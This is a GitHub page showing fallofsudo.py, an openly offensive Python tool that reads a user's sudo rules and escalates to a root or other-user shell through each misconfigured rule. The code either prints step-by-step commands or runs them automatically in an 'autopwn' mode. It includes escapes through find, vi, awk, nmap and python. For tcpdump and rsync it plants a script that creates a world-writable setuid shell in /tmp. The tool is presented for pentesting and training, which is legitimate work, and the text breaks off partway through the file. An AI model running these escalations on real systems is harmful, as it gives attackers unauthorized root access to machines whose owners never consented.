forked from roman-mueller/FallofSudo
-
Notifications
You must be signed in to change notification settings - Fork 0
/
Copy pathfallofsudo.py
1785 lines (1408 loc) · 84.4 KB
/
fallofsudo.py
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
281
282
283
284
285
286
287
288
289
290
291
292
293
294
295
296
297
298
299
300
301
302
303
304
305
306
307
308
309
310
311
312
313
314
315
316
317
318
319
320
321
322
323
324
325
326
327
328
329
330
331
332
333
334
335
336
337
338
339
340
341
342
343
344
345
346
347
348
349
350
351
352
353
354
355
356
357
358
359
360
361
362
363
364
365
366
367
368
369
370
371
372
373
374
375
376
377
378
379
380
381
382
383
384
385
386
387
388
389
390
391
392
393
394
395
396
397
398
399
400
401
402
403
404
405
406
407
408
409
410
411
412
413
414
415
416
417
418
419
420
421
422
423
424
425
426
427
428
429
430
431
432
433
434
435
436
437
438
439
440
441
442
443
444
445
446
447
448
449
450
451
452
453
454
455
456
457
458
459
460
461
462
463
464
465
466
467
468
469
470
471
472
473
474
475
476
477
478
479
480
481
482
483
484
485
486
487
488
489
490
491
492
493
494
495
496
497
498
499
500
501
502
503
504
505
506
507
508
509
510
511
512
513
514
515
516
517
518
519
520
521
522
523
524
525
526
527
528
529
530
531
532
533
534
535
536
537
538
539
540
541
542
543
544
545
546
547
548
549
550
551
552
553
554
555
556
557
558
559
560
561
562
563
564
565
566
567
568
569
570
571
572
573
574
575
576
577
578
579
580
581
582
583
584
585
586
587
588
589
590
591
592
593
594
595
596
597
598
599
600
601
602
603
604
605
606
607
608
609
610
611
612
613
614
615
616
617
618
619
620
621
622
623
624
625
626
627
628
629
630
631
632
633
634
635
636
637
638
639
640
641
642
643
644
645
646
647
648
649
650
651
652
653
654
655
656
657
658
659
660
661
662
663
664
665
666
667
668
669
670
671
672
673
674
675
676
677
678
679
680
681
682
683
684
685
686
687
688
689
690
691
692
693
694
695
696
697
698
699
700
701
702
703
704
705
706
707
708
709
710
711
712
713
714
715
716
717
718
719
720
721
722
723
724
725
726
727
728
729
730
731
732
733
734
735
736
737
738
739
740
741
742
743
744
745
746
747
748
749
750
751
752
753
754
755
756
757
758
759
760
761
762
763
764
765
766
767
768
769
770
771
772
773
774
775
776
777
778
779
780
781
782
783
784
785
786
787
788
789
790
791
792
793
794
795
796
797
798
799
800
801
802
803
804
805
806
807
808
809
810
811
812
813
814
815
816
817
818
819
820
821
822
823
824
825
826
827
828
829
830
831
832
833
834
835
836
837
838
839
840
841
842
843
844
845
846
847
848
849
850
851
852
853
854
855
856
857
858
859
860
861
862
863
864
865
866
867
868
869
870
871
872
873
874
875
876
877
878
879
880
881
882
883
884
885
886
887
888
889
890
891
892
893
894
895
896
897
898
899
900
901
902
903
904
905
906
907
908
909
910
911
912
913
914
915
916
917
918
919
920
921
922
923
924
925
926
927
928
929
930
931
932
933
934
935
936
937
938
939
940
941
942
943
944
945
946
947
948
949
950
951
952
953
954
955
956
957
958
959
960
961
962
963
964
965
966
967
968
969
970
971
972
973
974
975
976
977
978
979
980
981
982
983
984
985
986
987
988
989
990
991
992
993
994
995
996
997
998
999
1000
#!/usr/bin/env python
# -*- coding: utf-8 -*-
###############################################################################################################
# Author: Paragonsec (Quentin) @ Critical Start
# Contributor: rmirch (A practice VM will be coming sometime from both of us... oneday)
# Title: fallofsudo.py
# Version: 1.1
# Usage Example: python fallofsudo.py
# Description: This script obtains users Sudo rules and provides ways to abuse them.
#
# STATUS: 44 SUDO RULES
###############################################################################################################
from __future__ import print_function
import getpass
import os
import subprocess
import sys
import argparse
from subprocess import call
from time import sleep
# Arguments
parser = argparse.ArgumentParser(description="This tool attempts to exploit bad sudo rules or shows you how to do it yourself!")
parser.add_argument("-a", "--autopwn",
help="This option will engage the autopwn features if they are present", action="store_true")
parser.add_argument("-i", "--info",
help="This option will show you how to pwn the sudo rule instead of doing it automatically", action="store_true")
# Check to ensure at least one argument has been passed
if len(sys.argv)==1:
parser.print_help(sys.stderr)
sys.exit(1)
args = parser.parse_args()
# Global Variables
global info
global autopwn
#Colors
OKRED = '\033[91m'
OKGREEN = '\033[92m'
OKBLUE = '\033[94m'
OKYELLOW = '\033[93m'
ENDC = '\033[0m'
# Banner
banner = ("""
█████▒▄▄▄ ██▓ ██▓ ▒█████ █████▒ ██████ █ ██ ▓█████▄ ▒█████
▓██ ▒▒████▄ ▓██▒ ▓██▒ ▒██▒ ██▒▓██ ▒ ▒██ ▒ ██ ▓██▒▒██▀ ██▌▒██▒ ██▒
▒████ ░▒██ ▀█▄ ▒██░ ▒██░ ▒██░ ██▒▒████ ░ ░ ▓██▄ ▓██ ▒██░░██ █▌▒██░ ██▒
░▓█▒ ░░██▄▄▄▄██ ▒██░ ▒██░ ▒██ ██░░▓█▒ ░ ▒ ██▒▓▓█ ░██░░▓█▄ ▌▒██ ██░
░▒█░ ▓█ ▓██▒░██████▒░██████▒ ░ ████▓▒░░▒█░ ▒██████▒▒▒▒█████▓ ░▒████▓ ░ ████▓▒░
▒ ░ ▒▒ ▓▒█░░ ▒░▓ ░░ ▒░▓ ░ ░ ▒░▒░▒░ ▒ ░ ▒ ▒▓▒ ▒ ░░▒▓▒ ▒ ▒ ▒▒▓ ▒ ░ ▒░▒░▒░
░ ▒ ▒▒ ░░ ░ ▒ ░░ ░ ▒ ░ ░ ▒ ▒░ ░ ░ ░▒ ░ ░░░▒░ ░ ░ ░ ▒ ▒ ░ ▒ ▒░
░ ░ ░ ▒ ░ ░ ░ ░ ░ ░ ░ ▒ ░ ░ ░ ░ ░ ░░░ ░ ░ ░ ░ ░ ░ ░ ░ ▒
░ ░ ░ ░ ░ ░ ░ ░ ░ ░ ░ ░ ░
░
""")
# Obtaining Username
username = getpass.getuser()
# Setting output directory
directory = "Output"
if not os.path.exists(directory):
os.makedirs(directory)
def main():
print(OKRED + banner + ENDC)
print(OKGREEN + "Author: " + ENDC + "paragonsec @ Critical Start (https://www.criticalstart.com)")
print(OKGREEN + "Contributors: " + ENDC + "rmirch, roman-mueller, caryhooper")
print(OKGREEN + "Version: " + ENDC + "1.1")
print(OKGREEN + "Description: " + ENDC + "This program aids pentesters in conducting privilege escalation on Linux by abusing sudo. Use for good or training purposes ONLY!\n")
sudopwner()
# Function for the y/n questions
def ask_user(answer):
yes = set(['yes','y',''])
no = set(['no','n'])
while True:
choice = input(answer).lower()
if choice in yes:
return True
elif choice in no:
return False
else:
print("Please respond with 'yes' or 'no'\n")
# Main section for sudo pwnage
def sudopwner():
print(OKBLUE + "[+] Obtaining sudo rules for user " + username + ENDC + "\n")
# Obtaining SUDO rules
sudofile()
# Print contents of sudo rules
sudorules = sudoparse()
# Identifying sudo rules and choosing a potential pwnage for that rule
print(OKBLUE + "\n[+] Identifying potential pwnage... \n" + ENDC)
choices = []
for item in sudorules:
if item[3] == "ALL":
all_user = item[0]
choices.append('all')
elif 'zip' in item[3]:
zip_user = item[0]
choices.append('zip')
elif 'find' in item[3]:
find_user = item[0]
choices.append('find')
elif 'tcpdump' in item[3]:
tcpdump_user = item[0]
choices.append('tcpdump')
elif 'rsync' in item[3]:
rsync_user = item[0]
choices.append('rsync')
elif 'python' in item[3]:
python_user = item[0]
choices.append('python')
elif 'vi' in item[3]:
vi_user = item[0]
choices.append('vi')
elif 'nmap' in item[3]:
nmap_user = item[0]
choices.append('nmap')
elif 'awk' in item[3]:
awk_user = item[0]
choices.append('awk')
elif 'vim' in item[3]:
vim_user = item[0]
choices.append('vim')
elif 'perl' in item[3]:
perl_user = item[0]
choices.append('perl')
elif 'ruby' in item[3]:
ruby_user = item[0]
choices.append('ruby')
elif 'bash' in item[3]:
bash_user = item[0]
choices.append('bash')
elif 'nc' in item[3]:
nc_user = item[0]
choices.append('nc')
elif 'less' in item[3]:
less_user = item[0]
choices.append('less')
elif 'more' in item[3]:
more_user = item[0]
choices.append('more')
elif 'man' in item[3]:
man_user = item[0]
choices.append('man')
elif 'gdb' in item[3]:
gdb_user = item[0]
choices.append('gdb')
elif 'ftp' in item[3]:
ftp_user = item[0]
choices.append('ftp')
elif 'smbclient' in item[3]:
smbclient_user = item[0]
choices.append('smbclient')
elif 'sed' in item[3]:
sed_user = item[0]
choices.append('sed')
elif 'mysql' in item[3]:
mysql_user = item[0]
choices.append('mysql')
elif 'tar' in item[3]:
tar_user = item[0]
choices.append('tar')
elif 'wget' in item[3]:
choices.append('wget')
elif 'curl' in item[3]:
choices.append('curl')
elif 'mv' in item[3]:
choices.append('mv')
elif 'tee' in item[3]:
choices.append('tee')
elif 'scp' in item[3]:
choices.append('scp')
elif 'ssh' in item[3]:
ssh_user = item[0]
choices.append('ssh')
elif 'cp' in item[3]:
choices.append('cp')
elif 'dd' in item[3]:
choices.append('dd')
elif 'crontab' in item[3]:
choices.append('crontab')
elif 'chown' in item[3]:
choices.append('chown')
elif 'chmod' in item[3]:
choices.append('chmod')
elif 'cat' in item[3]:
cat_user = item[0]
choices.append('cat')
elif 'mount' in item[3]:
choices.append('mount')
elif 'facter' in item[3]:
facter_user = item[0]
choices.append('facter')
elif 'apt-get' in item[3]:
choices.append('apt-get')
elif '/sh' in item[3]:
sh_user = item[0]
choices.append('sh')
elif 'ksh' in item[3]:
ksh_user = item[0]
choices.append('ksh')
elif 'zsh' in item[3]:
zsh_user = item[0]
choices.append('zsh')
elif 'nano' in item[3]:
nano_user = item[0]
choices.append('nano')
elif 'journalctl' in item[3]:
journalctl_user = item[0]
choices.append('journalctl')
elif 'dmesg' in item[3]:
dmesg_user = item[0]
choices.append('dmesg')
elif 'nice' in item[3]:
nice_user = item[0]
choices.append('nice')
# Options for the user to choose which sudo rule they wish to abuse
for item in choices:
if (item == "all") or (item == "sh") or (item == "bash") or (item == "ksh") or (item == "zsh"):
print(OKRED + "[!] Vulnerable sudo rule [EASY TO PWN]: " + ENDC + item)
else:
print(OKRED + "[!] Vulnerable sudo rule: " + ENDC + item)
question = input("\n" + OKBLUE + "[?] Enter name of sudo rule you wish to pwn: " + ENDC)
if question == "all":
all(all_user)
elif question == "zip":
list(zip(zip_user))
elif question == "find":
find(find_user)
elif question == "tcpdump":
tcpdump(tcpdump_user)
elif question == "rsync":
rsync(rsync_user)
elif question == "python":
python(python_user)
elif question == "vi":
vi(vi_user)
elif question == "nmap":
nmap(nmap_user)
elif question == "awk":
awk(awk_user)
elif question == "vim":
vim(vim_user)
elif question == "perl":
perl(perl_user)
elif question == "ruby":
ruby(ruby_user)
elif question == "bash":
bash(bash_user)
elif question == "nc":
nc(nc_user)
elif question == "less":
less(less_user)
elif question == "more":
more(more_user)
elif question == "man":
man(man_user)
elif question == "gdb":
gdb(gdb_user)
elif question == "ftp":
ftp(ftp_user)
elif question == "smbclient":
smbclient(smbclient_user)
elif question == "sed":
sed(sed_user)
elif question == "mysql":
mysql(mysql_user)
elif question == "tar":
tar(tar_user)
elif question == "wget":
wget()
elif question == "curl":
curl()
elif question == "mv":
mv()
elif question == "tee":
tee()
elif question == "scp":
scp()
elif question == "ssh":
ssh(ssh_user)
elif question == "cp":
cp()
elif question == "dd":
dd()
elif question == "crontab":
crontab()
elif question == "chown":
chown()
elif question == "chmod":
chmod()
elif question == "cat":
cat(cat_user)
elif question == "mount":
mount()
elif question == "facter":
facter(facter_user)
elif question == "apt-get":
aptget()
elif question == "sh":
sh(sh_user)
elif question == "ksh":
ksh(ksh_user)
elif question == "zsh":
zsh(zsh_user)
elif question == "nano":
nano(nano_user)
elif question == "journalctl":
journalctl(journalctl_user)
elif question == "dmesg":
dmesg(dmesg_user)
elif question == "nice":
nice(nice_user)
else:
print(OKRED + "[!] No rule matching that input... exiting you n00b!" + ENDC)
sys.exit()
# Saving sudo rules to a csv file for easy parsing
def sudofile():
# File to save sudo rules output
fname = "Output/sudorules.txt"
f = open(fname, "w+")
# run the sudo -ll command
# Update suggested by jesmith
try:
sudoll = subprocess.check_output(['sudo' , '-ll'])
except subprocess.CalledProcessError as e:
print(e.output)
sys.exit(1)
sudoll = subprocess.check_output(['sudo' , '-ll'])
# Saving sudoll output to file
f.write(sudoll.decode())
f.close
# Used to parse the contents of the sudo output
def sudoparse():
sudooutput = []
commands_block = 0
# Loop through the SUDO rules gathed earlier
with open('Output/sudorules.txt', 'r') as sudoers:
for line in sudoers:
line = line.strip()
if not line.startswith('Sudoers'):
continue
runas_user = runas_group = options = cmd = None
for line in sudoers:
line = line.strip()
k = line.split(':')[-1].strip()
if line.lower().startswith('runasusers'):
runas_user = k
elif line.lower().startswith('runasgroups'):
runas_group = k
elif line.lower().startswith('options'):
options = k
elif line.lower().startswith('commands') :
commands_block = 1
elif commands_block == 1:
cmd = line.strip()
if cmd and not cmd.startswith('Sudoers entry'):
sudooutput.append([runas_user, runas_group, options, cmd])
# Printing out SUDO rules for the user
print(OKGREEN + "[!] " + username + " has the following sudo rules:" + ENDC)
for item in sudooutput:
print(OKGREEN + "\n[!] RunAsUsers: " + ENDC + item[0])
if item[1] != None:
print(OKGREEN + "[!] RunAsGroups: " + ENDC + item[1])
if item[2] != None:
print(OKGREEN + "[!] Options: " + ENDC + item[2])
print(OKGREEN + "[!] Commands: " + ENDC + item[3])
return sudooutput
# SUDO zip Rule Pwnage
def zip(zip_user):
if args.info:
print(OKYELLOW + "\n-----------------------------------------------------------------------------------------------------------------------------" + ENDC)
print(OKYELLOW + "\n[!] HOW TO PWN THIS RULE!!!" + ENDC)
print(OKBLUE + "[+] To pwn this rule multiple steps need to be taken." + ENDC)
print(OKBLUE + "[1] First we need to create a empty file to pass to the zip command: " + ENDC)
print(OKRED + " [*] touch /tmp/foo" + ENDC)
print(OKBLUE + "[2] Finally we will execute the sudo rule using the unzip-command argument: " + ENDC)
if (zip_user == "ALL") or (zip_user == "root"):
print(OKRED + " [*] sudo zip /tmp/foo.zip /tmp/foo -T --unzip-command='sh -c /bin/bash'" + ENDC)
else:
print(OKRED + " [*] sudo -u " + zip_user + " zip /tmp/foo.zip /tmp/foo -T --unzip-command='sh -c /bin/bash'" + ENDC)
print(OKYELLOW + "\n-----------------------------------------------------------------------------------------------------------------------------" + ENDC)
sys.exit()
elif args.autopwn:
question = ask_user( OKRED + '\n[?] Do you wish to abuse the zip rule? ' + ENDC)
if question == True:
# First step of pwnage for zip
print(OKGREEN + "\n[!] First Step: " + ENDC + "Creating /tmp/foo")
call('touch /tmp/foo', shell=True)
sleep(0.5)
# Exploit the sudo rule zip
print(OKGREEN + "[!] Pwning ZIP rule now!!!" + ENDC)
if (zip_user == "ALL") or (zip_user == "root"):
print(OKGREEN + "\n[!] Getting shell as root!" + ENDC)
call('sudo zip /tmp/foo.zip /tmp/foo -T --unzip-command="sh -c /bin/bash"', shell=True)
else:
print(OKGREEN + "\n[!] Getting shell as " + zip_user + "!" + ENDC)
call('sudo -u ' + zip_user + ' zip /tmp/foo.zip /tmp/foo -T --unzip-command="sh -c /bin/bash"', shell=True)
elif question == False:
sudopwner()
# SUDO ALL Rule Pwnage
def all(all_user):
if args.info:
print(OKYELLOW + "\n-----------------------------------------------------------------------------------------------------------------------------" + ENDC)
print(OKYELLOW + "\n[!] HOW TO PWN THIS RULE!!!" + ENDC)
print(OKBLUE + "[+] To pwn this rule type one of the two commands: " + ENDC)
print(OKRED + "[*] sudo -i" + ENDC)
if (all_user == "ALL") or (all_user == "root"):
print(OKRED + "[*] sudo su" + ENDC)
else:
print(OKRED + "[*] sudo su " + all_user + ENDC)
print(OKYELLOW + "\n-----------------------------------------------------------------------------------------------------------------------------\n" + ENDC)
sys.exit()
elif args.autopwn:
question = ask_user( OKRED + '\n[?] Do you wish to abuse the ALL/ALL rule? ' + ENDC)
if question == True:
# Exploit the sudo rule ALL/ALL
print(OKGREEN + "\n[!] Pwning the ALL/ALL rule now!!!" + ENDC)
print(OKGREEN + "\n[!] Executing 'sudo su' to gain shell!" + ENDC)
if all_user == "ALL":
print(OKGREEN + "\n[!] Gaining shell as root!" + ENDC)
call('sudo su', shell=True)
else:
print(OKGREEN + "\n[!] Gaining shell as " + all_user + "!" + ENDC)
call('sudo su ' + all_user, shell=True)
elif question == False:
sudopwner()
# SUDO find Rule Pwnage
def find(find_user):
if args.info:
print(OKYELLOW + "\n-----------------------------------------------------------------------------------------------------------------------------" + ENDC)
print(OKYELLOW + "\n[!] HOW TO PWN THIS RULE!!!" + ENDC)
print(OKBLUE + "[+] To pwn this rule type the following command: " + ENDC)
if (find_user == "ALL") or (find_user == "root"):
print(OKRED + "[*] sudo find . -exec bash -i \;" + ENDC)
else:
print(OKRED + "[*] sudo -u " + find_user + " find . -exec bash -i \;" + ENDC)
print(OKYELLOW + "\n-----------------------------------------------------------------------------------------------------------------------------\n" + ENDC)
sys.exit()
elif args.autopwn:
question = ask_user( OKRED + '\n[?] Do you wish to abuse the find rule? ' + ENDC)
if question == True:
# Exploit the sudo rule find
print(OKGREEN + "\n[!] Pwning the find rule now!!!" + ENDC)
print(OKGREEN + "\n[!] Executing 'sudo find . -exec bash -i \;' to gain shell!!!" + ENDC)
if (find_user == "ALL") or (find_user == "root"):
print(OKGREEN + "\n[!] Getting shell as root!" + ENDC)
call('sudo find . -exec bash -i \;', shell=True)
else:
print(OKGREEN + "\n[!] Getting shell as " + find_user + "!" + ENDC)
call('sudo -u ' + find_user + ' find . -exec bash -i \;', shell=True)
elif question == False:
sudopwner()
# SUDO tcpdump Rule Pwnage
def tcpdump(tcpdump_user):
if args.info:
print(OKYELLOW + "\n-----------------------------------------------------------------------------------------------------------------------------" + ENDC)
print(OKYELLOW + "\n[!] HOW TO PWN THIS RULE!!!" + ENDC)
print(OKBLUE + "[+] To pwn this rule multiple steps need to be taken." + ENDC)
print(OKBLUE + "[1] First create a malicious file in a partition that allows setuid: " + ENDC)
print(OKRED + " [*] echo 'cp /bin/ksh /tmp/pwnage ; chmod 4777 /tmp/pwnage' > /tmp/evil.sh" + ENDC)
print(OKBLUE + "[2] Next we need to change that maliciouos file to be executable: " + ENDC)
print(OKRED + " [*] chmod +x /tmp/evil.sh" + ENDC)
print(OKBLUE + "[3] Next we will abuse the packet rotate feature of TCPDUMP in order to execute our malicious script: " + ENDC)
if (tcpdump_user == "ALL") or (tcpdump_user == "root"):
print(OKRED + " [*] sudo tcpdump -ln -i eth0 -w /dev/null -W 1 -G 1 -z /tmp/evil.sh -Z root" + ENDC)
else:
print(OKRED + " [*] sudo -u " + tcpdump_user + " tcpdump -ln -i eth0 -w /dev/null -W 1 -G 1 -z /tmp/evil.sh -Z " + tcpdump_user + ENDC)
print(OKBLUE + "[4] Finally execute your /tmp/pwnage file that was created!" + ENDC)
print(OKRED + " [*] ./pwnage" + ENDC)
print(OKYELLOW + "\n-----------------------------------------------------------------------------------------------------------------------------\n" + ENDC)
sys.exit()
elif args.autopwn:
question = ask_user( OKRED + '\n[?] Do you wish to abuse the tcpdump rule? ' + ENDC)
if question == True:
print(OKGREEN + "\n[!] Pwning the tcpdump rule now!!!" + ENDC)
print(OKGREEN + "\n[!] Creating malicous file!" + ENDC)
call("echo 'cp /bin/ksh /tmp/pwnage ; chmod 4777 /tmp/pwnage' > /tmp/evil.sh", shell=True)
call("chmod +x /tmp/evil.sh",shell=True)
sleep(0.5)
print(OKGREEN + "\n[!] Running TCPDUMP packet rotate to execute our malicious script (read the source to see the payload)!" + ENDC)
if (tcpdump_user == "ALL") or (tcpdump_user == "root"):
print(OKGREEN + "\n[!] Creating setuid shell as root!" + ENDC)
call("sudo tcpdump -ln -i eth0 -w /dev/null -W 1 -G 1 -z /tmp/evil.sh -Z root", shell=True)
else:
print(OKGREEN + "\n[!] Creating setuid shell as " + tcpdump_user + "!" + ENDC)
call("sudo -u " + tcpdump_user + " tcpdump -ln -i eth0 -w /dev/null -W 1 -G 1 -z /tmp/evil.sh -Z " + tcpdump_user, shell=True)
print(OKGREEN + "\n[!] EXECUTE /tmp/pwnage TO GET SHELL!" + ENDC)
elif question == False:
sudopwner()
# SUDO rsync Rule Pwnage
def rsync(rsync_user):
if args.info:
print(OKYELLOW + "\n-----------------------------------------------------------------------------------------------------------------------------" + ENDC)
print(OKYELLOW + "\n[!] HOW TO PWN THIS RULE!!!" + ENDC)
print(OKBLUE + "[+] To pwn this rule multiple steps need to be taken." + ENDC)
print(OKBLUE + "[1] First create a malicious file in a partition that allows setuid: " + ENDC)
print(OKRED + " [*] echo 'cp /bin/ksh /tmp/pwnage ; chmod 4777 /tmp/pwnage' > /tmp/evil.sh" + ENDC)
print(OKBLUE + "[2] Next we need to change that maliciouos file to be executable: " + ENDC)
print(OKRED + " [*] chmod +x /tmp/evil.sh" + ENDC)
print(OKBLUE + "[3] Next we need to create a empty file to pass to the rsync command: " + ENDC)
print(OKRED + " [*] touch /tmp/aaa" + ENDC)
print(OKBLUE + "[4] Next we will execute the rsync command in order to run our evil.sh script: " + ENDC)
if (rsync_user == "ALL") or (rsync_user == "root"):
print(OKRED + " [*] sudo rsync -e /tmp/evil.sh <username> @127.0.0.1:/tmp/aaa bbb" + ENDC)
else:
print(OKRED + " [*] sudo -u " + rsync_user + " rsync -e /tmp/evil.sh <username> @127.0.0.1:/tmp/aaa bbb" + ENDC)
print(OKBLUE + "[5] Finally execute your /tmp/pwnage file that was created!" + ENDC)
print(OKRED + " [*] ./pwnage" + ENDC)
print(OKYELLOW + "\n-----------------------------------------------------------------------------------------------------------------------------\n" + ENDC)
sys.exit()
elif args.autopwn:
question = ask_user( OKRED + "\n[?] Do you wish to abuse the rsync rule? " + ENDC)
if question == True:
print(OKGREEN + "\n[!] Pwning the tcpdump rule now!!!" + ENDC)
print(OKGREEN + "\n[!] Creating malicious file!" + ENDC)
call("echo 'cp /bin/ksh /tmp/pwnage ; chmod 4777 /tmp/pwnage' > /tmp/evil.sh", shell=True)
call("chmod +x /tmp/evil.sh", shell=True)
sleep(0.5)
print(OKGREEN + "\n[!] Creating /tmp/aaa file!" + ENDC)
call("touch /tmp/aaa",shell=True)
sleep(0.5)
print(OKGREEN + "\n[!] Running rsync command!" + ENDC)
if (rsync_user == "ALL") or (rsync_user == "root"):
print(OKGREEN + "\n[!] Creating setuid shell as root!" + ENDC)
call("sudo rsync -e /tmp/evil.sh " + username + "@127.0.0.1:/tmp/aaa bbb", shell=True)
else:
print(OKGREEN + "\n[!] Creating setuid shell as " + rsync_user + "!" + ENDC)
call("sudo -u " + rsync_user + " rsync -e /tmp/evil.sh " + username + "@127.0.0.1:/tmp/aaa bbb", shell=True)
print(OKGREEN + "\n[!] EXECUTE /tmp/pwnage TO GET SHELL!" + ENDC)
if question == False:
sudopwner()
# SUDO awk Rule Pwnage
def awk(awk_user):
if args.info:
print(OKYELLOW + "\n-----------------------------------------------------------------------------------------------------------------------------" + ENDC)
print(OKYELLOW + "\n[!] HOW TO PWN THIS RULE!!!" + ENDC)
print(OKBLUE + "[+] To pwn this rule type the following command: " + ENDC)
if (awk_user == "ALL") or (awk_user == "root"):
print(OKRED + "[*] sudo awk 'BEGIN {system('/bin/bash')}'" + ENDC)
else:
print(OKRED + "[*] sudo -u " + awk_user + " awk 'BEGIN {system('/bin/bash')}'" + ENDC)
print(OKYELLOW + "\n-----------------------------------------------------------------------------------------------------------------------------\n" + ENDC)
sys.exit()
elif args.autopwn:
question = ask_user( OKRED + "\n[?] Do you wish to abuse the awk rule? " + ENDC)
if question == True:
print(OKGREEN + "\n[!] Pwning the awk rule now!!!" + ENDC)
if (awk_user == "ALL") or (awk_user == "root"):
print(OKGREEN + "\n[!] Getting shell as root!" + ENDC)
call("sudo awk 'BEGIN {system('/bin/bash')}'", shell=True)
else:
print(OKGREEN + "\n[!] Getting shell as " + awk_user + "!" + ENDC)
call("sudo -u " + awk_user + " awk 'BEGIN {system('/bin/bash')}", shell=True)
if question == False:
sudopwner()
# SUDO nmap Rule Pwnage
def nmap(nmap_user):
if args.info:
print(OKYELLOW + "\n-----------------------------------------------------------------------------------------------------------------------------" + ENDC)
print(OKYELLOW + "\n[!] HOW TO PWN THIS RULE!!!" + ENDC)
print(OKBLUE + "[+] To pwn this rule multiple steps need to be taken." + ENDC)
print(OKBLUE + "[1] First create a malicious nse script to execute: " + ENDC)
print(OKRED + " [*] echo 'os.execute('/bin/sh')' > /tmp/pwnage.nse" + ENDC)
print(OKBLUE + "[2] Finally execute that nse script with nmap: " + ENDC)
if (nmap_user == "ALL") or (nmap_user == "root"):
print(OKRED + " [*] sudo nmap --script=/tmp/pwnage.nse" + ENDC)
else:
print(OKRED + " [*] sudo -u " + nmap_user + " nmap --script=/tmp/pwnage.nse" + ENDC)
print(OKYELLOW + "\n-----------------------------------------------------------------------------------------------------------------------------\n" + ENDC)
sys.exit()
elif args.autopwn:
question = ask_user( OKRED + "\n[?] Do you wish to abuse the nmap rule? " + ENDC)
if question == True:
print(OKGREEN + "\n[!] Pwning the nmap rule now!!!" + ENDC)
print(OKGREEN + "\n[!] Creating malicious file!" + ENDC)
call("echo 'os.execute('/bin/sh')' > /tmp/pwnage.nse", shell=True)
if (nmap_user == "ALL") or (nmap_user == "root"):
print(OKGREEN + "\n[!] Obtaining root shell!" + ENDC)
call("sudo nmap --script=/tmp/pwnage.nse", shell=True)
else:
print(OKGREEN + "\n[!] Obtaining shell as " + nmap_user + "!" + ENDC)
call("sudo -u " + nmap_user + " nmap --script=/tmp/pwnage.nse", shell=True)
if question == False:
sudopwner()
# SUDO vi Rule Pwnage
def vi(vi_user):
if args.info:
print(OKYELLOW + "\n-----------------------------------------------------------------------------------------------------------------------------" + ENDC)
print(OKYELLOW + "\n[!] HOW TO PWN THIS RULE!!!" + ENDC)
print(OKBLUE + "[+] To pwn this rule type the following command: " + ENDC)
if (vi_user == "ALL") or (vi_user == "root"):
print(OKRED + "[*] sudo vi -c ':shell'" + ENDC)
else:
print(OKRED + "[*] sudo -u " + vi_user + " vi -c ':shell'" + ENDC)
print(OKYELLOW + "\n-----------------------------------------------------------------------------------------------------------------------------\n" + ENDC)
sys.exit()
elif args.autopwn:
question = ask_user( OKRED + "\n[?] Do you wish to abuse the vi rule? " + ENDC)
if question == True:
print(OKGREEN + "\n[!] Pwning the vi rule now!!!" + ENDC)
if (vi_user == "ALL") or (vi_user == "root"):
print(OKGREEN + "\n[!] Obtaining shell as root!" + ENDC)
call("sudo vi -c ':shell'", shell=True)
else:
print(OKGREEN + "\n[!] Obtaining shell as " + vi_user + "!" + ENDC)
call("sudo -u " + vi_user + " vi -c ':shell'", shell=True)
if question == False:
sudopwner()
# SUDO vim Rule Pwnage
def vim(vim_user):
if args.info:
print(OKYELLOW + "\n-----------------------------------------------------------------------------------------------------------------------------" + ENDC)
print(OKYELLOW + "\n[!] HOW TO PWN THIS RULE!!!" + ENDC)
print(OKBLUE + "[+] To pwn this rule type the following command: " + ENDC)
if (vim_user == "ALL") or (vim_user == "root"):
print(OKRED + "[*] sudo vim -c ':shell'" + ENDC)
else:
print(OKRED + "[*] sudo -u " + vim_user + " vim -c ':shell'" + ENDC)
print(OKYELLOW + "\n-----------------------------------------------------------------------------------------------------------------------------\n" + ENDC)
sys.exit()
elif args.autopwn:
question = ask_user( OKRED + "\n[?] DO you wish to abise the vim rule? " + ENDC)
if question == True:
print(OKGREEN + "\n[!] Pwning the vim rule now!!!" + ENDC)
if (vim_user == "ALL") or (vim_user == "root"):
print(OKGREEN + "\n[!] Obtaining shell as root!" + ENDC)
call("sudo vim -c ':shell'", shell=True)
else:
print(OKGREEN + "\n[!] Obtaining shell as " + vim_user + "!" + ENDC)
call("sudo -u " + vim_user + " vim -c ':shell'", shell=True)
if question == False:
sudopwner()
# SUDO python Rule Pwnage
def python(python_user):
if args.info:
print(OKYELLOW + "\n-----------------------------------------------------------------------------------------------------------------------------" + ENDC)
print(OKYELLOW + "\n[!] HOW TO PWN THIS RULE!!!" + ENDC)
print(OKBLUE + "[+] To pwn this rule multiple steps need to be taken." + ENDC)
print(OKBLUE + "[1] First create a malicious python script: " + ENDC)
print(OKRED + " [*] echo 'os.system('/bin/bash)' > /tmp/pwnage.py" + ENDC)
print(OKBLUE + "[2] Finally execute that python script to get your shell: " + ENDC)
if (python_user == "ALL") or (python_user == "root"):
print(OKRED + " [*] sudo python /tmp/pwnage.py" + ENDC)
else:
print(OKRED + " [*] sudo -u " + python_user + " python /tmp/pwnage.py" + ENDC)
print(OKYELLOW + "\n-----------------------------------------------------------------------------------------------------------------------------\n" + ENDC)
sys.exit()
elif args.autopwn:
question = ask_user( OKRED + "\n[?] Do you wish to abuse the python rule? " + ENDC)
if question == True:
print(OKGREEN + "\n[!] Pwning the python rule now!!!" + ENDC)
print(OKGREEN + "\n[!] Creating the malcious file now!" + ENDC)
call("echo 'os.system('/bin/bash')' > /tmp/pwnage.py", shell=True)
print(OKGREEN + "\n[!] Obtaining shell!" + ENDC)
